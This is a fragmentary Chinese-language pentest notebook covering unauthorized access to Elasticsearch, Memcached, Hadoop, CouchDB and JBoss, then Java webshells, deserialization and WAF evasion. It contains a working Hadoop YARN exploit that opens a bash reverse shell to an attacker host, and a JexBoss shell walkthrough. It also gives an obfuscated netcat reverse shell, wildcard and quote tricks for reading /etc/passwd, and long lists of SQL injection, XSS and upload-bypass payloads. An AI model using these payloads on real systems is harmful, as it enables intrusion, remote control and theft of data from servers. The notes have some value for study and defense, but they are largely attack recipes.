text = json.loads(requests.get(url='http://{}:{}/_nodes'.format(ip, port), timeout=5).text)
nodes_total = text['_nodes']['total']
nodes = list(text['nodes'].keys())
print('[ok] {} -> [{}] : {}'.format(ip, nodes_total, nodes))
except Exception as e:
error = e.args
print('[-] -> {} error : {}'.format(ip, error))
python3 elasticsearch_unauth.py 192.168.1.4 9200
默认端口11211
提示连接成功表示漏洞存在
telnet 11211,或 nc -vv 11211
Memcached端口是对外开放的,用nc或Telne可以直接登录,查看信息,增加修改都可以
修复建议
memcached设置监听内网或配置防火墙限制非必要的远程访问
参考
https://www.cnblogs.com/mrhonest/p/10881389.html
Hadoop是一个由Apache基金会所开发的分布式系统基础架构
用户可以在不了解分布式底层细节的情况下,开发分布式程序
充分利用集群的威力进行高速运算和存储
在默认情况下,Hadoop允许任意用户访问管理接口
poc:
#!/usr/bin/env python
import requests
target = 'http://127.0.0.1:8088/'
lhost = '192.168.220.137' # put your local host ip here, and listen at port 9999
url = target + 'ws/v1/cluster/apps/new-application'
resp = requests.post(url)
app_id = resp.json()['application-id']
url = target + 'ws/v1/cluster/apps'
data = {
'application-id': app_id,
'application-name': 'get-shell',
'am-container-spec': {
'commands': {
'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost,
},
},
'application-type': 'YARN',
}
requests.post(url, json=data)
修改exploit.py中的反弹IP
python exploit.py
HDFS
NameNode 默认端口 50070
DataNode 默认端口 50075
httpfs 默认端口 14000
journalnode 默认端口 8480
YARN (JobTracker )
ResourceManager 默认端口 8088
Jobtracker 默认端口 50030
TaskTracker 默认端口 50060
Hue默认端口8080
YARN(JobTracker)
master 默认端口 6001
regionserver 默认端口 60030
hive- server2默认端口1000
spark- jdbcserver默认端口10003
开启身份验证,防止未经授权用户访问
默认端口5984
在local.ini配置中:
bind_address = 设置为0.0.0.0则存在未授权访问
直接加端口进行访问即可
exp:
https://github.com/vulhub/vulhub/blob/master/couchdb/CVE-2017-12636/exp.py
使用工具ldap admin直接连接即可
防御措施:
https://www.cnblogs.com/mrhonest/p/10948657.html --建议
https://blog.csdn.net/u011607971/article/details/86378361 --管理方法
未授权漏洞总结:
https://github.com/f1veT/VulScan/find/master --Vulscan
https://github.com/ysrc/xunfeng/tree/master/vulscan/vuldb --vuldb
Jboss未授权访问
vulhub漏洞平台可以复现,启用环境位置:vulhub-jboss-cve-2017-7504
docker-compose up -d
访问8080端口无账号密码就可进入
linux-kali-exp
git clone https://github.com/joaomatosf/jexboss
cd jexboss
python jexboss py
python3 jexboss.py IP+port
执行工具会依次检测一下项目,有漏洞就会显示红色的: VULNERABLE(易受攻击的),工具就会根据找到容易受到攻击的点,进行利用
然后选择YES,就可以获得shell了
前言
使用ProcessBuilder
ProcessBuilder pb=new ProcessBuilder(cmd);
pb.start();
使用Runtime
Runtime.getRuntime().exec(cmd)
也就是说上面cmd参数可控的情况下,均存在命令执行的问题。但是话题回来,不太清楚大家是否遇到过java命令执行的时候,无论是windows还是linux环境下,带有 |,<,> 等符号的命令没办法正常执行。所以今天就进入底层看看这两个东西
差别
这里只讲解下跟进 java. lang, Runtime#exec的构造方法,exec的构造方法有以下几种情况,其实根据传入的变量我们大概可以区分的了,一个是根据 String command,也就是直接传入一个字符串,另一个是根据 String cmdarrayu[],也就是传入一个数组
需要知道Runtime.getRuntime{}.exec{} 的底层实际上也是 ProcessBuilder
getRuntime{}.exec{} 如果直接传入字符串会经过String Tokenizer的分割,进而破坏其原本想要表达的意思
https://codewhitesec.blogspot.com/2015/03/sh-or-getting-shell-environment-from.html
详细了解下这篇文章的讲解
总结:
其实java已经尽量规避命令执行的安全问题,JDK沙盒机制会进行 checkExec,执行命令的机制就是仅仅检查并执行命令数组中的第一个,而分隔符后面的所有东西都是默认为被执行程序的参数,所以 getRuntime().exec() 通过传入字符串执行命令的时候,应该尽量避免使用空格,用了空格可能会改变这条命令本身想要表达的意思
所以在Java下如果遇到复杂的命令执行,且参数只能如下所示,且只有一个位置可以控制的话,建议使用base64的编码方式,windows下可以使用 powershll的base64
Java的反序列化框架利用框架yso,以及一些shiro这类反序列化导致的命令执行实际上很多是用了getRuntime来达到命令执行的目的,且就像我们上面说的,可控位置比较固定,执行复杂命令会出现执行不了
Reference
sh-or-getting-shell-environment-from
漏洞搭建安装和复现:
https://cloud.tencent.com/developer/article/1078421
https://blog.knownsec.com/2016/08/apache-shiro-java/
Reference
Pwn a CTF Platform with Java JRMP Gadget
https://blog.orange.tw/2018/03/pwn-ctf-platform-with-java-jrmp-gadget.html
https://open.appscan.io/article-862.html
https://www.jianshu.com/p/f10ad968e1b2
强网杯“彩蛋— Shiro1.2.4(SHRO550)漏洞之发散性思考
该链接已失效,可查看书籍
Apache Shiro Java反序列化漏洞分析
https://blog.knownsec.com/2016/08/apache-shiro-java/
https://bacde.me/post/Apache-Shiro-Deserialize-Vulnerability/
知识盲区,需要脑补!!!!!
参考
RM官方文档
https://xz.aliyun.com/t/4711#toc-3 ---浅显易懂的JAVA反序列化入门
java安全漫谈-04RM篇(1) ----如果看到可以找dayu我要
java安全漫谈04.RM篇(2) --没找到(2)....
知识盲区,需要脑补!!!!!
参考:(哎,知识盲区,加油脑补)
https://www.freebuf.com/vuls/115849.html --Jndi注入及Spring RCE漏洞分析
https://www.veracode.com/blog/research/exploiting-jndi-injections-java --在Java中利用JNDI注入
https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html --如何绕过高版本JDK的限制进行JNDI注入利用
RPC
https://www.jianshu.com/p/2accc2840a1b --如何给老婆解释什么是RPC
https://www.freebuf.com/column/189835.html ---深入理解JNDI注入与Java反序列化漏洞利用
ldap
https://www.cnblogs.com/wilburxu/p/9174353.html --LDAP概念和原理介绍
https://www.jianshu.com/p/7e4d99f6baaf --LDAP入门
https://blog.csdn.net/caoyujiao520/article/details/82762097 --LDAP入门使用
前言
Fastion是一个Java语言编写的高性能功能完善的JSON库。它采用一种“假定有序快速匹配"的算法,把JS0N Parse的性能提升到极致,是目前Java语言中最快的JSON库。 Fastjson接口简单易用,已经被广泛使用在缓存序列化、协议交互、We输出、 Android客户端等多种应用场景
参考链接
https://www.freebuf.com/column/207439.html ---如何绕过高版本JDK的限制进行JNDI注入
三个fastjson1.2…版本的poc,需要花很多时间来学习!!!
简介
相信大家都在满天的公众号预警里面看过很多,这里就一笔带过
2019年10月22日,国外安全研究员公开了一个PHP-FPM远程代码执行的漏洞EXP
该漏洞是 Andrew Danau在某比赛解决一道CTF题目时发现,向目标服务器URL发送%0a符号时,服务返回异常发现的漏洞
2019年9月26日,PHP官方发布漏洞通告其中指出使用 Nginx + php-fpm的服务器在部分配置下存在远程代码执行漏洞且该配置已被广泛使用,危害较大,影响较为广泛相关工具已经公开
Github地址如下:
https:/github.com/neex/phuip-fpizdam
方法很多,我会写出来…后补!!!
本系列文章纯探讨技术交流,请勿使用本文探的技术构造恶意webshel非法入侵他人网站
前言
本系列,主要从webshell基础、 webshell的bypass技术(关键字、流量层、hook点逃逸)、后渗透的webshell维权(基于容器特性的隐式webshell、内存shell等)等方面和大家交流java中webshe‖的形式
基础
java webshell种类
现在大部分中间件容器,所能支持解析的后缀,主要是jsp,jspx 两种动态脚本为主,比如 tomcat容器中,默认能支持解析的动态脚本已经默认写在配置中了
*.jspx
*.jsp
true
在目前常见的 webshel的后门种类,主要分如下几类:
各种客户端的一句话 webshll (比如菜刀、冰蝎、蚁剑、c刀等常见客户端)、专门负责数据传输的webshell(与数据库进行交互)、Tune后门(基于 socks5协议的 reGeorg之类的)、小马(单纯的进行命令执行、单纯的进行文件管理/上传等功能)、大马(集成了文件管理、命令执行、数据库连接等多功能性大马)
java执行命令方式
在这节我们拿最基础的命令执行的来讨论,如何用多种方式写我们的负责命令执行的webshell
在java中,常见的能够执行命令的方式
java基础的webshell命令执行方式
使用 java runtime exec()
第一种常见的使,用 java.lang.Runtime 类进行执行系统命令,该方法也是目前市面上各种静态查杀 webshell 辅助工具首要盯着的目标,需要注意的是win 下和linux 需要区别对待,以及当使用多个命令组合使用注意坑。下面我们来看看代码。使用 Runtime类,调用exec执行命令返回一个Process对象,然后启一个 BufferedReader类,对返回的结果进行保存回显处理。执行exec的时候需要特别注意,带有|,<,> 等符号的命令需要使用如下代码的方式进行执行,要不然容易出错
讲解了webshell大部分能利用的机制:
Java 执行系统命令的方法和原理
用 ProcessBuilder 绕过检测
使用 Java 反射机制绕过检测
使用 Java 类加载机制绕过检测
获得 Class 对象的四种方法
https://cloud.tencent.com/developer/article/1180753 --利用Java反射和类加载机制绕过JSP后门检测
非常详细…
https://javasec.org/javase/ --安全门
熟悉下Java反射基础:
定义:
java反射机制是在运行状态中,对于任意一个类,都能够知道这个类的所有属性和方法;对
于任意一个对象,都能够调用它的任意方法和属性;这种动态获取信息以及动态调用对象的功能称为java语言的反射机制
java反射涉及的类:
cass类:代表类的实体,在运行的Java应用程序中表示类和接口
Field类:代表类的成员变量(类的属性)
Method类:代表类的方法
Constructor类:代表类的构造方法
Class类中常见使用的
1)获取的类中的方法
for Name(String className):根据类名返回类的对象
getName():获得类的完整路径名字
2)获取类中属性相关
getFields():获得所有公有的属性对象
getDeclaredFields():获得所有属性对象(带Declared的可以获取到私有private)
3)获得类中方法
getMethods():获得该类所有公有的方法
getDeclaredMethod( String name, Class…> parameterTypes):获得该类某个方法
getDeclaredMethods():获得该类所有方法
Fed类常见使用的
equals(Object obj):属性与ob相等则返回true
get(Object obj):获得obj中对应的属性值
set(Object obj, Object value):设置obj中对应属性值
Method类
invoke(object obj, Object…args) 传递 object对象及参数调用该对象对应的方法
Constructor类
newInstance(Object…initargs):根据传递的参数创建类的对象
Oracle关于这个 xmldecoder造成的漏洞的CVE编号分别是CVE2017-3506、CVE2017-10271、CVE2019-2725
最早关于CVE2017-3506的补丁只是根据 object标签进行了限制
而根据文章中讲解的继承关系 object替换成void即可,它们实际上是不受影响的,因此便出现了CVE-2017-10271,而针对CVE-2017-10271的补丁限定了所有具有执行的节点
但这次CVE-2019-2725主要是class标签,class标签可代替 object标签来生成对象,因此这次漏洞本质还是 xmldecoder的问题,而补丁也是针对class标签来处理的
https://blog.csdn.net/fnmsd/article/details/89889144 --fnmsd作者-XMLDecoder解析流程分析
https://www.anquanke.com/post/id/180725 ---浅谈Weblogic反序列化——XMLDecoder的绕过史
只是盲区,需要脑补!!!!
这篇文章总结的非常好:
http://www.lmxspace.com/2019/06/29/FastJson-反序列化学习/
Reference
fastjson-remote-code-execute-poc:
https://github.com/shengqi158/fastjson-remote-code-execute-poc
Fastjson 1.2.24反序列化漏洞分析:
https://www.freebuf.com/vuls/178012.html
Fastjson反序列化漏洞研究:
https://www.cnblogs.com/mrchang/p/6789060.html
Fastjson反序列化之TemplatesImpl调用链:
https://p0rz9.github.io/2019/05/12/Fastjson反序列化之TemplatesImpl调用链/
学习文章非常详细:
https://my.oschina.net/u/4587690/blog/4452199
参考:
http://obtruse.syfrtext.com/2018/07/oracle-privilege-escalation-via.html
绕过方法总结:
http://www.91ri.org/8700.html
EXP和poc:
https://github.com/yangyangwithgnu/bypass_disablefunc_via_ld_preload
该文章讲解了java xml下大部分的XEE漏洞原因和防御:
http://www.lmxspace.com/2019/10/31/Java-XXE-总结/ --详细看看
https://xz.aliyun.com/t/3372 --有多余时间可以看看
Reference
Java XXE注入修复问题填坑实录:
https://mp.weixin.qq.com/s/bTeJYzUN9T1u-KDZON5FiQ
修不好的洞,JDK的坑——从WxJava XXE注入漏洞中发现了一个对JDK的误会:
https://mp.weixin.qq.com/s/bTeJYzUN9T1u-KDZON5FiQ
XML_External_Entity_Prevention_Cheat_Sheet:
https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html#Java
一个被广泛流传的XXE漏洞错误修复方案:
https://gv7.me/articles/2019/a-widely-circulated-xxe-bug-fix/
JAVA常见的XXE漏洞写法和防御:
https://blog.spoock.com/2018/10/23/java-xxe/
https://www.secpulse.com/archives/117281.html --详细复现防御
https://www.cnblogs.com/bmjoker/p/11778478.html
https://govuln.com/topic/501/ --P牛解释
http://www.lmxspace.com/2019/11/03/Solr-RCE-via-Velocity-template/
Reference
用Intellij idea搭建solr调试环境:
https://www.jianshu.com/p/4ceeb2c20002
http://lucene.apache.org/solr/guide/6_6/velocity-response-writer.html
1)java反射bypass
2)反射的进阶版,通过结合利用byte字节码+反射的方式完全无任何痕迹的反射回显命令执行马
3)java 后门-unicode编码
其他姿势载入webshell的技巧tip
JavaWeb 随机后门(远程下载文件)
Java URLClassLoader 动态加载jar包 webshell
openrasp (开源应用运行时自我保护)Bypass
各家厂商早期针对流量层查杀 webshel的原理:
https://xz.aliyun.com/t/6550
https://www.sohu.com/a/357066711_257305
CVE-2017-3248
CVE-2017-3248
防护建议
可以在resolveclass和resovleproxyclass增加一些反序列化利用类的黑名单检查
CVE-2019-12409
https://wemp.app/posts/008ae6ed-9eee-4fc4-911c-7c603c8b884a?utm_source=bottom-latest-posts
该文章详细讲解复现!!!
http://www.baizhiedu.com/article/1029
学习查看知识点,广告可以忽视!!!
https://xz.aliyun.com/t/6884
详细,真详细的文章!!
参考
https://www.freebuf.com/vuls/175754.html
https://b1ue.cn/archives/176.html
https://gist.github.com/frohoff/24af7913611f8406eaf3
https://sec.xiaomi.com/article/41
https://www.cnblogs.com/rickiyang/p/11336268.html ---javassist使用全解析
https://xz.aliyun.com/t/6904
详细复现!!
https://www.jianshu.com/p/3162ce30a853
https://www.veracode.com/blog/research/exploiting-spring-boot-actuators
https://www.cesafe.com/html/6190.html
https://www.yir6.cn/Web/347.html --Admin/SEMCMS_Upfile.php代码分析
https://www.wenwenya.com/anquan/516051.html
https://webcache.googleusercontent.com/search?q=cache:9JJuN-bvrgwJ:https://www.secshi.com/22396.html+&cd=3&hl=zh-CN&ct=clnk&gl=hk
https://xz.aliyun.com/t/7004
https://my.oschina.net/u/4587690/blog/4452130
两篇文章内容一致!详细介绍了CVE-2019-17571、CVE-2017-5645
https://xz.aliyun.com/t/7027
非常难,内容非常多!!!加油!!!这块比较难
https://blog.spoock.com/2018/05/13/cve-2018-1260/
文章内容复现类似,可分析查看…
云waf一般可以通过此方法绕过
识别CDN
ping www.baidu.com
dig www.baidu.com
nslookup www.baidu.com
或者使用站长工具查看IP是否唯一等
寻找真实的IP
DNS历史解析记录
寻找DNS历史记录,找到后修改hos文件即可:
http://site.ip138.com/www.baidu.com
https://dnsdb.io/zh-cn/
https://x.threatbook.cn/
http://toolbar.netcraft.com/site_report?url=
https://censys.io/ipv4?q=www.baidu.com
http://viewdns.info/
https://community.riskiq.com/home
https://securitytrails.com/list/apex_domain/jgbz.baidu.com
RSS邮箱订阅,查看邮件源码
一般也会得到真实的IP地址,通过rss订阅的方式,可以查找到订阅的消息中真实IP
或者在原始信息-头信息中(unknown[xx.xx.xx.xxIP])信息
服务器向外请求(DNSLOG)
https://www.cnblogs.com/Xy--1/p/12896599.html
同网段子域名信息
DNS服务器域名信息:
google Public DNS(8.8.8.8,8.8.4.4)
OpenDNS(208.67.222.222,208.67.220.220)
OpenDNS Family(208.67.222.123,208.67.220.123)
Dyn DNS(216.146.35.35,216.146.36.36)
Comodo Secure(8.26.56.26,8.20.247.20)
UltraDNS(156.154.70.1,156.154.71.1)
Norton ConnectSafe(199.85.126.10,199.85.127.10)
参考文章:https://zhuanlan.zhihu.com/p/202628255
所以选用一个WAF不支持但是服务器支持的算法,选用TLSv1 256 bits ECDHE-RSA-AES256-SHA。就可以是WAF无法识别导致绕过
curl --ciphers ECDHE-RSA-AES256-SHA https://waf-test.lab.local/ssl-cipher-test
WAF支持的算法如下:
SSLv3
SSL_RSA_WITH_NULL_MD5
SSL_RSA_WITH_NULL_SHA
SSL_RSA_WITH_RC4_128_MD5
SSL_RSA_WITH_RC4_128_SHA
SSL_RSA_WITH_DES_CBC_SHA
SSL_RSA_WITH_3DES_EDE_CBC_SHA
SSL_RSA_EXPORT_WITH_RC4_40_MD5
SSL_RSA_EXPORT_WITH_DES40_CBC_SHA
TLS/1.0-1.2
TLS_RSA_WITH_NULL_SHA256
TLS_RSA_WITH_AES_128_CBC_SHA
TLS_RSA_WITH_AES_256_CBC_SHA
TLS_RSA_EXPORT1024_WITH_RC4_56_MD5
TLS_RSA_EXPORT1024_WITH_RC4_56_SHA
TLS_RSA_WITH_AES_128_CBC_SHA256
TLS_RSA_WITH_AES_256_CBC_SHA256
TLS_RSA_WITH_RC4_128_MD5 = { 0x000x04 }
TLS_RSA_WITH_RC4_128_SHA = { 0x000x05 }
TLS_RSA_WITH_DES_CBC_SHA = { 0x000x09 }
参考文章:
http://xdxd.love/2018/09/10/利用SSL问题绕过WAF文章分析/
1)改变method,get改post,post 改上传(还有cookies传值)
2)改变method为不规则,比如改get,post为HELLLOXX等(某些apache版本)
GET/xxx/?id=1+and+sleep(3) HTTP/1.1
DigApis /xxx/?id=1+and+sleep(3)HTTP/1.1
**
(一般应用拦截,非WAF)
X-forwarded-for:127.0.0.1
X-remote-IP:127.0.0.1
X-originating-IP:127.0.0.1
x-remote-addr:127.0.0.1
x-client-1p:127.0.0.1
Heard content-type 绕过
content-type为空
content-type改成其他的
content-type必须指定唯一一个类型,例如 application/ octet- stream(比如安全狗)
content-type改成不规则的text/htm1xxxxxx
Content-Type:multipart/form-data ; boundary=0000
Content-Type:mUltiPart/ForM-dATa;boundary=0000
Content-Type:multipart/form-datax;boundary=0000
Content-Type:multipart/form-data,boundary=0000
Content-Type:multipart/form-data boundary=0000
content-Type:multipart/whatever;boundary=0000
content-Type:multipart/; boundary=0000
content-Type: application/octet-stream;
基础常用的常规语句
?id=alert(document['cookie'])
?id=";location=location.hash)//#0={};alert(0)
?id=%";eval(unescape(location))//#%0Aalert(0)
?id=
?id=
?id=%3cscript%3ealert(1)%3c%2fscript%3c
?id=
id=%253c%2573%2563%2572%2569%2570%2574%253e%2561%256c%2565%2572%2574%2528%2531%2529%253c%252f%2573%2563%2572%2569%2570%2574%253e
?id=
?id=1234&">=1234 #参数名
直接在文件名例如asp、php后加即可绕过
参考文章:
https://www.cnblogs.com/lcamry/articles/5622244.html
简单判别诸如点以及数据库类型 :
I 数据库类型丨连接符丨注释符号丨其他特殊方式丨唯一的默认表变量和函数
I MSSQL| %2B (URL加号编码) | -- | 待补充丨@@PACK_RECEIVED
I MYSQL| %20 (URL空格编码)丨# / -- | 待补充 | CONNECTION_ID()
I Oracle I %7C (URL竖线编码) | -- 待补充 | BITAND(1,1)
I PGsql | %7C (URL竖线编码) | -- |ad1::int=1 | getpgusername()
| Access | %26 (URL与号编码) | N/A | 待补充 | msysobjects
为避免被wa拦截以及封禁P,注入建议不首先使用and以及o语句。
可用如下方式替换:
数字型注入:
?id=2*2
?id=4
字符型注入,根据上表判断】
?key=wo'+'rd
?key=wo'||'rd
?key=wo' 'rd
?id=ord('a')=97
?id=123+AND+1=1
?id=123+&&+1=1
?id='=’
?id=123+AND+md5(‘a’)!= md5(‘A’)
?id=123+and+len(@@version)>1
?id=1’||1=’1
?id=123‘+like+'123
?id=123'+not+like+'1234
?id='aaa'<>'bbb'
?id=123/*! union all select version() */--
?id=123/*!or*/1=1;
?id=(1)union(((((((select(1), hex(hash)from(users)))))))) ---7个+8个括号
?id=1+union+(select’1‘,concat(login,hash)from+users)
?id=1+%55nion(%53elect 1, 2, 3)-- -
?id=1/*!000000union*/select%0d%0a/*asdas/asd asasd*/version()
?id=1 union(select%0aall{x users}from{x ddd})
Mysql常用函数
字符串处理:
?key=user' OR mid(password,1,1)='*'
?key=user' OR mid(password,1,1)=0x2a
?key=user' OR mid(password,1,1)=unhex('2a')
?key=user' OR mid(password,1,1) regexp '[*]'
?key=user' OR mid(password,1,1) like '*'
?key=user' OR mid(password,1,1) rlike '[*]'
?key=user' OR ord(mid(password,1,1))=42
?key=user' OR ascii(mid(password,1,1))=42
?key=user' OR find_in_set('2a',hex(mid(password,1,1)))=1
?key=user' OR position(0x2a in password)=1
?key=user' OR locate(ox2a,password)=1
?key=user' OR substring((select 'password'),1,1) = 0x70
?key=user' OR substr((select 'password'),1,1) = 0x70
?key=user' OR mid((select 'password'),1,1) = 0x70
?key=user' OR strcmp(left('password',1), 0X69) = 1
?key=user' OR strcmp(left('password',1), 0×70) = 0
?key=user' OR strcmp(left('password',1), 0x71) = -1
‘ (单引号)以及 \ (反斜杠)绕过
$ echo orleven
orleven
$ echo o'r'l'e'v'e'n''
oreven
$ /b'i'n/c'a't/e't'c/p'a's's'w'd'
root: x: 0: 0: root: /root:/bin/bash
daemon: x: 1: 1: daemon: /usr/sbin: /usr/sbin/nologin
bin: x: 2: 2: bin:/bin: /usr/sbin/nologin
$ /b\i\n/c\at /et'c'/pa's'swd
root: x: 0: 0: root: /root: /bin/bash
daemon: x: 1: 1: daemon: /usr/sbin: /usr/sbin/nologin
bin: x: 2: 2: bin:/bin: /usr/sbin/nologin
? 、 * 、 [、 ]、 ^、 - 通配符绕过
问号最好只匹配到唯一一条
$ /b??/c?t /etc/??ss?d
root: X: 0: 0: root: /root: /bin/bash
daemon: x: 1: 1: daemon: /usr/sbin: /usr/sbin/nologin
bin: X: 2: 2: bin:/bin: /usr/sbin/nologin
$ /???/n? -e /???/b??h 2130706433 1337 # /bin/nc -e /bin/bash 127.0.0.1 1337
$ 不存在的符号
cat $u/etc$u/passwd$u
root: x: 0: 0: root: /root: /bin/bash
daemon: x: 1: 1: daemon: /usr/sbin: /usr/sbin/nologin
bin: x: 2: 2: bin: /bin: /usr/sbin/nologin
; 分号执行
$ cat /etc/passwd;ls
.......
mysql:x:110:115:MySQL Serve,,,:/nonexistent:/bin/false
a.out go gobuster gopath soft sqlmap.log tool
文件名绕过
1)文件名加回车
2)shell.php(%80-%99).jpg 绕过
3)如果有改名功能,可先上传正常文件,再改名
4)%00
5)00(hex)
6)长文件名(windows 258byte | linux 4096byte ),可使用非字母数字,比如中文等最大程
度的拉长。
7)重命名
脚本后缀
Php/php3/php/php5/php6/pht/phpt/phtml
asp/cer/asa/cdx/aspx/ashx/ascx/asax
jsp/jspx/ispf
服务器特性:
1.会将Request中的不能编码部分的%去掉
2.Request中如果有unicode部分会将其进行解码
IIS
lIS6.0两个解析缺陷:目录名包含asp、.asa、.cer的话,则该目录下的所有文件都将按照asp解析
例如:
/abc,asp/1.jpg 会当做 /abc,asp 进行解析
/abc.php/1.jpg 会当做 /abc.php 进行解析
Apache1.X.2.X解析漏洞
Apache在以上版本中,解析文件名的方式是从后向前识别扩展名,直到遇见Apache可识别的扩展名为止
Nginx
以下Nginx容器的版本下,上传一个在waf白名单之内扩展名的文件shell. jpg,然后以shell.j pg.php进行请求
• Nginx 0.5.*
• Nginx 0.6.*
• Nginx 0.7 <= 0.7.65
• Nginx 0.8 <= 0.8.37
以上Nginx容器器的版本下,上传⼀个在waf白名单之内扩展名的文件shell.jpg,然后以shell.jpg%20.php进行请求
• Nginx 0.8.41 – 1.5.6:
以上Nginx容器的版本下,上传一个在waf白名单之内扩展名的文件shell.jpg,然后以shell.jpg%20.php进行请求
IIS 7.0/7.5
Nginx < 0.8.3
以上的容器版本中默认php配置文件cgi.fix_pathinfo=1时,上传一个存在于白名单的扩展名文件shell.jpg,在请求时以shell.jpg/shell.php请求,会将shell.jpg以php来解析
https://xz.aliyun.com/t/337
ADS是NTFS磁盘格式的一个特性,用于NTFS交换数据流。在上传文件时,如果waf对请求正文的filename匹配不当的话可能会导致绕过
test.asp.
test.asp(空格)
test.php:1.jpg
test.php: $DATA
test.php_
参考文章:
https://xz.aliyun.com/t/1189
因为这种不仅仅存在于上传之处,注入跨站也可尝试
垃圾数据
-------------WebkitFormBoundaryFADasdasdasDdasd
Content-Disposition: form-data; name="file", filename=abc.php’;aaaaaaaaaaaaaaaa
Content-Type: application/octet-stream;
-------------WebkitFormBoundaryFADasdasdasDdasd
修改文件类型绕过/Header头的Content-Type,多次尝试:
Content-Type:application/x-www-form-urlencoded;
Content-Type:multipart/form-data;
Content-Type:application/octet-stream;
multipart协议中,一个POST请求可以同时上传多个文件。如图,许多WAF只检查第一个上传文件,没有检查上传的所有文件,而实际后端容器会解析所有上传的文件名,攻击者只需把paylaod放在后面的文件PART,即可绕过
https://blog.csdn.net/qq_32393893/article/details/81625047
-------------WebkitFormBoundaryFADasdasdasDdasd
content-Dispositiona:form-data; name="file"; filename='abc.jpg'
Content-Disposition:form-data; name="file"; filename=abc.php'
Content-Type: application/octet-stream;
-------------WebkitFormBoundaryFADasdasdasDdasd
https://weibo.com/ttarticle/p/show?id=2309404007261092631700
文章讲解了Content-Disposition各种不规则绕过方法
boundary边界不一致(Win2k3 + llS6.0 + ASP)
1)%u特性: iis支持对unicode的解析,如:payload为[s%u006c%u0006ect],解析出来后则是[select]
%u0061nd 1=1
另类%u特性: unicode在iis解析之后会被转换成multibyte,但是转换的过程中可能出现:多个widechar可能会转换为同一个字符。
如:select中的e对应的unicode为%u0065,但是%u00f0同样会被转换成为e s%u00f0lect
iis+asp
2)%特性: union selec%t user fr%om dd #iis+asp asp+iis环境下会忽略掉百分号,如:payload为[sele%ct], 解析出来后则是[select]
3)asp/asp.net在解析请求的时候,允许Content-Type: application/x-www-form-urlencoded的数据提交方式select%201%20from%20user
asp/asp.net request解析:
4)在asp和asp.net中获取用户的提交的参数一般使用request包,当使用request(‘id’)的形式获取包的时候,会出现GET,POST分不清的情况,譬如可以构造一个请求包,METHOD为GET,但是包中还带有POST的内容和POST的content-type, 换一种理解方式也就是将原本的post数据包的method改成GET,如果使用request(‘id’)方式获取数据,仍会获取到post的内容
php+apache畸形的boundary:
php在解析multipart data的时候有自己的特性,对于boundary的识别,只取了逗号前面的内容,例如我们设置的boundary为—-aaaa,123456,php解析的时候只识别了—-aaaa,后面的内容均没有识别。然而其他的如WAF在做解析的时候,有可能获取的是整个字符串,此时可能就会出现BYPASS
Content-Type: multipart/form-data; boundary=------,xxxx
Content-Length: 191
------,xxxx
Content-Disposition: form-data; name="img"; filename="img.gif"
GIF89a
------
Content-Disposition: form-data; name="id"
1' union select null,null,flag,null from flag limit 1 offset 1-- -
--------
------,xxxx--
畸形method(header头中)
某些apache版本在做GET请求的时候,无论method为何值均会取出GET的内容。如请求的method名为DOTA,依然会返回GET方法的值,即,可以任意替换GET方法为其它值,但仍能有效工作,但如果waf严格按照GET方法取值,则取不到任何内容
参考文章:
https://xz.aliyun.com/t/2418
参考文章:
https://xz.aliyun.com/t/15
文件名回车
Content-Disposition: form-data; name=img"; filename="img.ph
p"
当AF遇到"name=" myfile";"时,认为没有解析到 filename。而后端容器继续解析到的文件名是t3jsp,导致WAF被绕过
content-Disposition: form-data; name="myfile";; filename="t3. jsp"
以下均某一漏洞类型为例,具体皆可应用于XSS、SQL注入、命令执行等漏洞
参数绕过
PHP
?%20value=payload
ASP
?%value=payload
?%}9value=payload
参数溢出
?id=111111111111111111111 (长很长) and 1=1
?id=1111111111 union %23xxxxxxxxxxxxx (很长很长) xxxx%0d select 等
参数截断
http://example.com/file%00.txt
(以Mysql为例)
?id=123+union+select+1,2,3+from+table
?id=123+union+select+1&id=2,3+from+table
?id=123+union+select/*&id=*/user&id=pass/*&id=*/from/*&id=*/users id=select/*,*/.............
这是中间件与参数拼接的关系图
这种方法是HTTP分割注入,同CRLF有相似之处(使用控制字符%0a、%0d等执行换行)
举例:
/?a=1+union/&b=/select+1,pass/&c=/from+users–
select * from table where a=1 union/* and b=/select 1,pass/ limit */from users—
看罢上面两个示例,发现和HPP最后一个示例很像,不同之处在于参数不一样,这里是在不同的参数之间进行分割,到了数据库执行查询时再合并语句
参考文章:
https://zhuanlan.zhihu.com/p/79356937
路径系列:
?path=/path/././././blah/blah/blah/../../../vuln.php
/path: /vuln. php?value=PAYLOAD
/path/;lol=lol/vuln. php?value=PAYLOAD
/path/vuln.php/lolol?value=PAYLOAD
/path/vuln.php;lol=lol?value=PAYLOAD
编码绕过
URL Encode - %27
Double URL Encode - %2527
UTF-8 (2 byte) - %c0%a7
UTF-8 (JAVA) - \ uc0a7
HTML Entity - &apos;
HTML Entity Number - ;
Decimal - $#39
Unicode URL Encoding - %u0027
Base64 - Jw==
iis+asp(x)
%u 特性:
iis支持对unicode的解析,如:payload为 s%u006c%u0006ect,解析出来后则是 select
另类%u特性: unicode在iis解析之后会被转换成multibyte,但是转换的过程中可能出现:多个widechar可能会转换为同一个字符
如: selec中的e对应的unicode为%u0065,但是%u00f0同样会被转换成为e
s%u0065lect->select s%u00f0lect->select
WAF层可能能识别s%u0065lect的形式,但是很有可能识别不了s%u00f0lect的形式。这样就可以利用起来做WAF的绕过
常见三个关键字(union+select+from)的测试情况:
s%u0045lect = s%u0065lect = %u00f0lect
u --> %u0055 --> %u0075
n -->%u004e --> %u006e
i -->%u0049 --> %u0069
o -->%u004f --> %u006f -->%u00ba
s -->%u0053 --> %u0073
l -->%u004c --> %u006c
e -->%u0045 --> %u0065-->%u00f0
c -->%u0043 --> %u0063
t -->%u0054 -->%u0074 -->%u00de -->%u00fe
f -->%u0046 -->%u0066
r -->%u0052 -->%u0072
m -->%u004d -->%u006d
asp/asp.net解析请求
asp/asp.net在解析请求的时候,允许Content-Type: application/x-www-form-urlencoded的数据提交方式select%201%20rom%20user
大小写变化(非WAF,仅过滤绕过)
?id=
?id=123 uni0n SeLEcT BaNneR FroM v$vERsIon whERe ROwNUm=1
加粗样式嵌套(非WAF,仅过滤绕过)
另类
?id=1+un/**/ion+sel/**/ect+1,2,3--
针对中间分析设备
Get /test HTTP/1.1 > GET test,randkey.yourloggingdomain.com
Get /test HTTP/1.1 > GET http://test.randkey.yourloggingdomain.com
Get /test HTTP/1.1 > GET @test.randkey.yourloggingdomain.com
分析设备拼接后:
